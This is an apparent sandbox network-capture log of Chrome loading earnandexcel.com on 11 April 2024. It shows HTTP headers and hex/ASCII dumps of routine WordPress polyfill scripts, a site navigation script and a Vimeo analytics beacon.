2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 30 29 20 29 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 5b 5d 2e 66 6f 72 45 61 63 68 2e 63 61 6c 6c 28 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 61 27 29 2c 20 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 65 6e 74 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 2f 2f 20 69 66 20 74 68 65 20 6c 69 6e 6b 20 69 73 20 6e 6f 74 20 61 20 6e 61 76 20 6c 69 6e 6b 0d 0a 20 20 20 20 20 20 20 20 69 66 28 21 68 61 73 50 61 72 65 6e 74 45 6c 65 6d 65 6e 74 73 28 65 6c 65 6d 65 6e 74 2c 20 27 68 65 61 64 65 72 2c 20 66 6f 6f 74 65 72 2c 20 6e 61 76 2c 20 5b 69 64 7e 3d 68 65 61 64 65 72 5d 2c 20 5b 69 64 7e 3d 6d 65 6e 75 5d 2c 20 5b 69 64 7e 3d 66 6f 6f 74 65 72 5d 2c 20 5b 69 64 7e 3d 77 Data Ascii: 0) ){ return; } [].forEach.call(document.querySelectorAll('a'), function(element) { // if the link is not a nav link if(!hasParentElements(element, 'header, footer, nav, [id~=header], [id~=menu], [id~=footer], [id~=w
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 72 65 6e 74 4c 69 73 74 2e 73 70 6c 69 74 28 27 2c 27 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 76 61 72 20 66 6f 75 6e 64 20 3d 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 66 6f 72 28 76 61 72 20 69 20 69 6e 20 70 61 72 65 6e 74 4c 69 73 74 29 7b 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 6a 20 3d 20 70 61 72 65 6e 74 4c 69 73 74 5b 69 5d 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 69 66 28 2d 31 20 21 3d 3d 20 6a 2e 69 6e 64 65 78 4f 66 28 27 69 64 7e 3d 27 29 29 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 69 64 20 3d 20 6a 2e 72 65 70 6c 61 63 65 28 2f 5c 5b 69 64 7e 3d 7c 5c 5d 2f 67 2c 20 27 27 29 2e 74 72 69 6d 28 29 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 75 6e 64 65 66 69 6e 65 64 20 21 3d 3d 20 65 6c 65 6d 65 6e 74 Data Ascii: rentList.split(','); } var found = false; for(var i in parentList){ var j = parentList[i]; if(-1 !== j.indexOf('id~=')){ var id = j.replace(/\[id~=\|\]/g, '').trim(); if(undefined !== element
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 65 3b 0d 0a 7d 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 6d 61 6b 65 41 6a 61 78 43 61 6c 6c 28 63 61 6c 6c 44 61 74 61 20 3d 20 7b 7d 29 7b 0d 0a 0d 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 72 65 73 70 6f 6e 64 28 64 61 74 29 7b 0d 0a 20 20 20 20 20 20 20 20 69 66 28 64 61 74 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 29 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 64 61 74 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 2e 72 65 73 70 6f 6e 73 65 29 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 61 6a 61 78 50 6f 73 74 20 28 64 61 74 61 2c 20 63 61 6c 6c 62 61 63 6b 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: e;};function makeAjaxCall(callData = {}){ function respond(dat){ if(dat.currentTarget !== undefined){ console.log(dat.currentTarget.response); } } async function ajaxPost (data, callback) {
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7d 3b 0d 0a 0d 0a 0d 0a 0d 0a 20 20 20 20 69 66 28 21 65 6c 65 6d 65 6e 74 20 7c 7c 20 65 6c 65 6d 65 6e 74 2e 74 61 67 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 20 3d 3d 3d 20 27 68 74 6d 6c 27 29 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 6c 6f 63 61 74 69 6f 6e 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 76 61 72 20 66 6f 75 6e 64 20 3d 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 65 6c 65 6d 65 6e 74 4c 6f 6f 70 3a 0d 0a 20 20 20 20 66 6f 72 28 76 61 72 20 73 65 63 74 69 6f 6e 20 69 6e 20 73 65 63 74 69 6f 6e 73 29 7b 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 73 65 63 74 69 6f 6e 44 61 74 61 20 3d 20 73 65 63 74 69 6f 6e 73 5b 73 65 63 74 69 6f 6e 5d 3b 0d 0a 20 20 20 20 20 20 20 20 66 6f 72 28 76 61 Data Ascii: }; if(!element \|\| element.tagName.toLowerCase() === 'html'){ return location; } var found = false; elementLoop: for(var section in sections){ var sectionData = sections[section]; for(va
2024-04-11 21:26:41 UTC	516	IN	Data Raw: 6f 70 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 65 6c 73 65 20 69 66 28 21 6a 2e 6d 61 74 63 68 28 2f 5b 5e 61 2d 7a 41 2d 5a 5d 2f 29 29 7b 20 2f 2f 20 74 61 67 20 6d 61 74 63 68 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 69 64 20 3d 20 6a 2e 74 72 69 6d 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 65 6c 65 6d 65 6e 74 2e 74 61 67 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 20 3d 3d 3d 20 69 64 29 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 75 6e 64 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 6f 63 61 74 69 6f 6e 20 3d 20 73 65 63 74 69 6f 6e 3b 0d 0a 20 Data Ascii: op; } }else if(!j.match(/[^a-zA-Z]/)){ // tag match var id = j.trim(); if(element.tagName.toLowerCase() === id){ found = true; location = section;
2024-04-11 21:26:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.17	49793	34.120.202.204	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:41 UTC	703	OUT	POST /add/player-stats?beacon=1&session-id=8c58f55e0782d45ca231998a40db0b78c216bb6e1712870800 HTTP/1.1 Host: fresnel.vimeocdn.com Connection: keep-alive Content-Length: 1069 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://player.vimeo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://player.vimeo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:41 UTC	1069	OUT	Data Raw: 5b 7b 22 61 75 74 6f 70 6c 61 79 22 3a 66 61 6c 73 65 2c 22 62 61 63 6b 67 72 6f 75 6e 64 22 3a 66 61 6c 73 65 2c 22 63 6c 69 70 5f 69 64 22 3a 33 31 33 36 35 36 38 30 37 2c 22 63 6f 6e 74 65 78 74 22 3a 22 65 6d 62 65 64 2e 6d 61 69 6e 22 2c 22 64 65 76 69 63 65 5f 70 69 78 65 6c 5f 72 61 74 69 6f 22 3a 31 2c 22 64 72 6d 22 3a 66 61 6c 73 65 2c 22 65 6d 62 65 64 22 3a 74 72 75 65 2c 22 69 73 5f 6d 6f 64 22 3a 66 61 6c 73 65 2c 22 69 73 5f 73 70 61 74 69 61 6c 22 3a 66 61 6c 73 65 2c 22 6c 6f 6f 70 69 6e 67 22 3a 66 61 6c 73 65 2c 22 6f 77 6e 65 72 5f 69 64 22 3a 38 33 37 37 35 35 34 39 2c 22 70 72 6f 64 75 63 74 22 3a 22 76 69 6d 65 6f 2d 76 6f 64 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 Data Ascii: [{"autoplay":false,"background":false,"clip_id":313656807,"context":"embed.main","device_pixel_ratio":1,"drm":false,"embed":true,"is_mod":false,"is_spatial":false,"looping":false,"owner_id":83775549,"product":"vimeo-vod","referrer":"https://earnandexcel.c
2024-04-11 21:26:41 UTC	263	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://player.vimeo.com Date: Thu, 11 Apr 2024 21:26:41 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.17	49790	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:41 UTC	735	OUT	GET /wp-includes/js/dist/vendor/wp-polyfill.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
2024-04-11 21:26:41 UTC	951	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:41 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e6cab1f426b-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"5efa0dc4-183ee" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Mon, 29 Jun 2020 15:50:28 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yjbnykURWoHdwQUFQLiOGniEk0RPYr5dv32j4%2BK%2BNPoDoUFVKfovaUmrh6prGW%2FB%2FMXW9t2i7Lr7VHKAe4PNlxmuWsL3oq2Cf1U5J%2FummWQ%2BrrDj5t11sgINz%2BDEj%2FfFKpk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:41 UTC	418	IN	Data Raw: 37 62 66 38 0d 0a 21 66 75 6e 63 74 69 6f 6e 20 72 28 63 2c 61 2c 66 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 2c 74 29 7b 69 66 28 21 61 5b 6e 5d 29 7b 69 66 28 21 63 5b 6e 5d 29 7b 76 61 72 20 65 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 26 26 72 65 71 75 69 72 65 3b 69 66 28 21 74 26 26 65 29 72 65 74 75 72 6e 20 65 28 6e 2c 21 30 29 3b 69 66 28 73 29 72 65 74 75 72 6e 20 73 28 6e 2c 21 30 29 3b 76 61 72 20 69 3d 6e 65 77 20 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 6d 6f 64 75 6c 65 20 27 22 2b 6e 2b 22 27 22 29 3b 74 68 72 6f 77 20 69 2e 63 6f 64 65 3d 22 4d 4f 44 55 4c 45 5f 4e 4f 54 5f 46 4f 55 4e 44 22 2c 69 7d 76 61 72 20 75 3d 61 5b 6e 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 63 5b 6e 5d Data Ascii: 7bf8!function r(c,a,f){function o(n,t){if(!a[n]){if(!c[n]){var e="function"==typeof require&&require;if(!t&&e)return e(n,!0);if(s)return s(n,!0);var i=new Error("Cannot find module '"+n+"'");throw i.code="MODULE_NOT_FOUND",i}var u=a[n]={exports:{}};c[n]
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 28 66 5b 74 5d 29 3b 72 65 74 75 72 6e 20 6f 7d 28 7b 31 3a 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 28 32 29 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 20 5f 69 6e 74 65 72 6f 70 52 65 71 75 69 72 65 44 65 66 61 75 6c 74 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 74 3a 7b 64 65 66 61 75 6c 74 3a 74 7d 7d 28 74 28 31 35 29 29 3b 65 2e 64 65 66 61 75 6c 74 2e 5f 62 61 62 65 6c 50 6f 6c 79 66 69 6c 6c 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 26 26 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 26 26 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 40 62 61 62 65 6c 2f 70 6f 6c 79 66 69 6c 6c 20 69 73 20 6c 6f 61 64 65 64 20 6d 6f 72 65 20 Data Ascii: (f[t]);return o}({1:[function(t,n,r){"use strict";t(2);var e=function _interopRequireDefault(t){return t&&t.__esModule?t:{default:t}}(t(15));e.default._babelPolyfill&&"undefined"!=typeof console&&console.warn&&console.warn("@babel/polyfill is loaded more
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 29 2c 74 28 31 36 30 29 2c 74 28 31 36 37 29 2c 74 28 31 35 37 29 2c 74 28 31 37 32 29 2c 74 28 31 35 35 29 2c 74 28 31 37 30 29 2c 74 28 31 36 39 29 2c 74 28 31 36 32 29 2c 74 28 31 36 36 29 2c 74 28 31 35 34 29 2c 74 28 31 35 36 29 2c 74 28 31 35 39 29 2c 74 28 31 35 38 29 2c 74 28 31 37 34 29 2c 74 28 31 36 34 29 2c 74 28 32 34 37 29 2c 74 28 32 34 38 29 2c 74 28 32 35 34 29 2c 74 28 32 34 39 29 2c 74 28 32 35 30 29 2c 74 28 32 35 31 29 2c 74 28 32 35 32 29 2c 74 28 32 35 33 29 2c 74 28 32 33 32 29 2c 74 28 31 38 33 29 2c 74 28 32 35 35 29 2c 74 28 32 39 30 29 2c 74 28 32 39 31 29 2c 74 28 32 37 39 29 2c 74 28 32 38 30 29 2c 74 28 32 38 35 29 2c 74 28 32 38 38 29 2c 74 28 32 38 39 29 2c 74 28 32 38 33 29 2c 74 28 32 38 36 29 2c 74 28 32 38 34 29 2c 74 Data Ascii: ),t(160),t(167),t(157),t(172),t(155),t(170),t(169),t(162),t(166),t(154),t(156),t(159),t(158),t(174),t(164),t(247),t(248),t(254),t(249),t(250),t(251),t(252),t(253),t(232),t(183),t(255),t(290),t(291),t(279),t(280),t(285),t(288),t(289),t(283),t(286),t(284),t
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 36 3a 32 37 36 2c 32 37 37 3a 32 37 37 2c 32 37 38 3a 32 37 38 2c 32 37 39 3a 32 37 39 2c 32 38 30 3a 32 38 30 2c 32 38 31 3a 32 38 31 2c 32 38 32 3a 32 38 32 2c 32 38 33 3a 32 38 33 2c 32 38 34 3a 32 38 34 2c 32 38 35 3a 32 38 35 2c 32 38 36 3a 32 38 36 2c 32 38 37 3a 32 38 37 2c 32 38 38 3a 32 38 38 2c 32 38 39 3a 32 38 39 2c 32 39 30 3a 32 39 30 2c 32 39 31 3a 32 39 31 2c 35 32 3a 35 32 7d 5d 2c 34 3a 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 74 28 32 39 32 29 2c 6e 2e 65 78 70 6f 72 74 73 3d 74 28 35 32 29 2e 41 72 72 61 79 2e 66 6c 61 74 4d 61 70 7d 2c 7b 32 39 32 3a 32 39 32 2c 35 32 3a 35 32 7d 5d 2c 35 3a 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 74 28 32 39 33 29 2c 6e 2e 65 78 70 6f 72 74 73 3d 74 28 35 32 29 2e 41 72 72 61 79 Data Ascii: 6:276,277:277,278:278,279:279,280:280,281:281,282:282,283:283,284:284,285:285,286:286,287:287,288:288,289:289,290:290,291:291,52:52}],4:[function(t,n,r){t(292),n.exports=t(52).Array.flatMap},{292:292,52:52}],5:[function(t,n,r){t(293),n.exports=t(52).Array
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 73 69 6f 6e 3a 22 32 2e 36 2e 31 31 22 7d 3b 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 5f 5f 65 26 26 28 5f 5f 65 3d 65 29 7d 2c 7b 7d 5d 2c 31 39 3a 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 76 61 72 20 6f 3d 74 28 31 36 29 3b 6e 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 69 2c 74 29 7b 69 66 28 6f 28 65 29 2c 76 6f 69 64 20 30 3d 3d 3d 69 29 72 65 74 75 72 6e 20 65 3b 73 77 69 74 63 68 28 74 29 7b 63 61 73 65 20 31 3a 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 63 61 6c 6c 28 69 2c 74 29 7d 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 65 2e 63 61 6c 6c 28 69 2c 74 2c 6e 29 7d 3b 63 61 73 65 20 33 3a 72 65 74 75 72 6e Data Ascii: sion:"2.6.11"};"number"==typeof __e&&(__e=e)},{}],19:[function(t,n,r){var o=t(16);n.exports=function(e,i,t){if(o(e),void 0===i)return e;switch(t){case 1:return function(t){return e.call(i,t)};case 2:return function(t,n){return e.call(i,t,n)};case 3:return
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 38 3a 31 38 2c 31 39 3a 31 39 2c 32 34 3a 32 34 2c 32 35 3a 32 35 2c 32 36 3a 32 36 7d 5d 2c 32 33 3a 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 6e 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 72 79 7b 72 65 74 75 72 6e 21 21 74 28 29 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 21 30 7d 7d 7d 2c 7b 7d 5d 2c 32 34 3a 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 76 61 72 20 65 3d 6e 2e 65 78 70 6f 72 74 73 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 4d 61 74 68 3d 3d 4d 61 74 68 3f 77 69 6e 64 6f 77 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2e 4d 61 74 68 3d 3d 4d 61 74 68 3f 73 65 6c 66 3a 46 75 6e 63 74 Data Ascii: 8:18,19:19,24:24,25:25,26:26}],23:[function(t,n,r){n.exports=function(t){try{return!!t()}catch(t){return!0}}},{}],24:[function(t,n,r){var e=n.exports="undefined"!=typeof window&&window.Math==Math?window:"undefined"!=typeof self&&self.Math==Math?self:Funct
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 74 2e 74 6f 53 74 72 69 6e 67 29 26 26 21 69 28 65 3d 72 2e 63 61 6c 6c 28 74 29 29 29 72 65 74 75 72 6e 20 65 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 72 3d 74 2e 76 61 6c 75 65 4f 66 29 26 26 21 69 28 65 3d 72 2e 63 61 6c 6c 28 74 29 29 29 72 65 74 75 72 6e 20 65 3b 69 66 28 21 6e 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 72 3d 74 2e 74 6f 53 74 72 69 6e 67 29 26 26 21 69 28 65 3d 72 2e 63 61 6c 6c 28 74 29 29 29 72 65 74 75 72 6e 20 65 3b 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 27 74 20 63 6f 6e 76 65 72 74 20 6f 62 6a 65 63 74 20 74 6f 20 70 72 69 6d 69 74 69 76 65 20 76 61 6c 75 65 22 29 7d 7d 2c 7b 32 38 3a 32 38 7d 5d 2c 33 32 3a 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b Data Ascii: t.toString)&&!i(e=r.call(t)))return e;if("function"==typeof(r=t.valueOf)&&!i(e=r.call(t)))return e;if(!n&&"function"==typeof(r=t.toString)&&!i(e=r.call(t)))return e;throw TypeError("Can't convert object to primitive value")}},{28:28}],32:[function(t,n,r){
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 6f 6e 28 74 2c 6e 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 63 3d 74 28 31 34 32 29 2c 61 3d 74 28 31 33 37 29 2c 66 3d 74 28 31 34 31 29 3b 6e 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 20 66 69 6c 6c 28 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 63 28 74 68 69 73 29 2c 72 3d 66 28 6e 2e 6c 65 6e 67 74 68 29 2c 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 69 3d 61 28 31 3c 65 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 76 6f 69 64 20 30 2c 72 29 2c 6f 3d 32 3c 65 3f 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3a 76 6f 69 64 20 30 2c 75 3d 76 6f 69 64 20 30 3d 3d 3d 6f 3f 72 3a 61 28 6f 2c 72 29 3b 69 3c 75 3b 29 6e 5b 69 2b 2b 5d 3d 74 3b 72 65 74 75 72 6e 20 6e 7d 7d 2c 7b 31 33 37 3a 31 33 37 2c 31 34 31 3a 31 34 31 2c 31 34 Data Ascii: on(t,n,r){"use strict";var c=t(142),a=t(137),f=t(141);n.exports=function fill(t){for(var n=c(this),r=f(n.length),e=arguments.length,i=a(1<e?arguments[1]:void 0,r),o=2<e?arguments[2]:void 0,u=void 0===o?r:a(o,r);i<u;)n[i++]=t;return n}},{137:137,141:141,14
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 3a 37 37 7d 5d 2c 34 34 3a 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 76 61 72 20 65 3d 74 28 38 31 29 2c 69 3d 74 28 37 39 29 2c 6f 3d 74 28 31 35 32 29 28 22 73 70 65 63 69 65 73 22 29 3b 6e 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3b 72 65 74 75 72 6e 20 69 28 74 29 26 26 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 28 6e 3d 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 7c 7c 6e 21 3d 3d 41 72 72 61 79 26 26 21 69 28 6e 2e 70 72 6f 74 6f 74 79 70 65 29 7c 7c 28 6e 3d 76 6f 69 64 20 30 29 2c 65 28 6e 29 26 26 6e 75 6c 6c 3d 3d 3d 28 6e 3d 6e 5b 6f 5d 29 26 26 28 6e 3d 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 3d 3d 3d 6e 3f 41 72 72 61 79 3a 6e 7d 7d 2c 7b 31 35 32 3a 31 35 32 2c 37 39 3a 37 39 2c Data Ascii: :77}],44:[function(t,n,r){var e=t(81),i=t(79),o=t(152)("species");n.exports=function(t){var n;return i(t)&&("function"!=typeof(n=t.constructor)\|\|n!==Array&&!i(n.prototype)\|\|(n=void 0),e(n)&&null===(n=n[o])&&(n=void 0)),void 0===n?Array:n}},{152:152,79:79,
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 29 69 66 28 72 2e 6b 3d 3d 6e 29 72 65 74 75 72 6e 20 72 7d 76 61 72 20 75 3d 74 28 39 39 29 2e 66 2c 63 3d 74 28 39 38 29 2c 61 3d 74 28 31 31 37 29 2c 66 3d 74 28 35 34 29 2c 73 3d 74 28 33 37 29 2c 6c 3d 74 28 36 38 29 2c 65 3d 74 28 38 35 29 2c 69 3d 74 28 38 37 29 2c 6f 3d 74 28 31 32 33 29 2c 68 3d 74 28 35 38 29 2c 70 3d 74 28 39 34 29 2e 66 61 73 74 4b 65 79 2c 76 3d 74 28 31 34 39 29 2c 67 3d 68 3f 22 5f 73 22 3a 22 73 69 7a 65 22 3b 6e 2e 65 78 70 6f 72 74 73 3d 7b 67 65 74 43 6f 6e 73 74 72 75 63 74 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 2c 72 2c 65 29 7b 76 61 72 20 69 3d 74 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 73 28 74 2c 69 2c 6f 2c 22 5f 69 22 29 2c 74 2e 5f 74 3d 6f 2c 74 2e 5f 69 3d 63 28 6e 75 6c 6c 29 2c 74 2e 5f 66 3d 76 Data Ascii: )if(r.k==n)return r}var u=t(99).f,c=t(98),a=t(117),f=t(54),s=t(37),l=t(68),e=t(85),i=t(87),o=t(123),h=t(58),p=t(94).fastKey,v=t(149),g=h?"_s":"size";n.exports={getConstructor:function(t,o,r,e){var i=t(function(t,n){s(t,i,o,"_i"),t._t=o,t._i=c(null),t._f=v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.17	49796	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:41 UTC	722	OUT	GET /wp-includes/js/dist/hooks.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
2024-04-11 21:26:41 UTC	942	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:41 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e6e3bce4245-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"61398447-1b43" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Thu, 09 Sep 2021 03:49:27 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9r87Oodxfa2REO4e2rg2GgIKfsQ44NLTwyNauGJ6nOk4aLlH%2FV3IyTmw2qT1BLQuhOmML5IBaZJ7d%2BbeHCQZQu1aeONrlCZnBXL1WEHW%2FsqNq%2Ffyta0F1YdNtjmCyCfwCT4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: 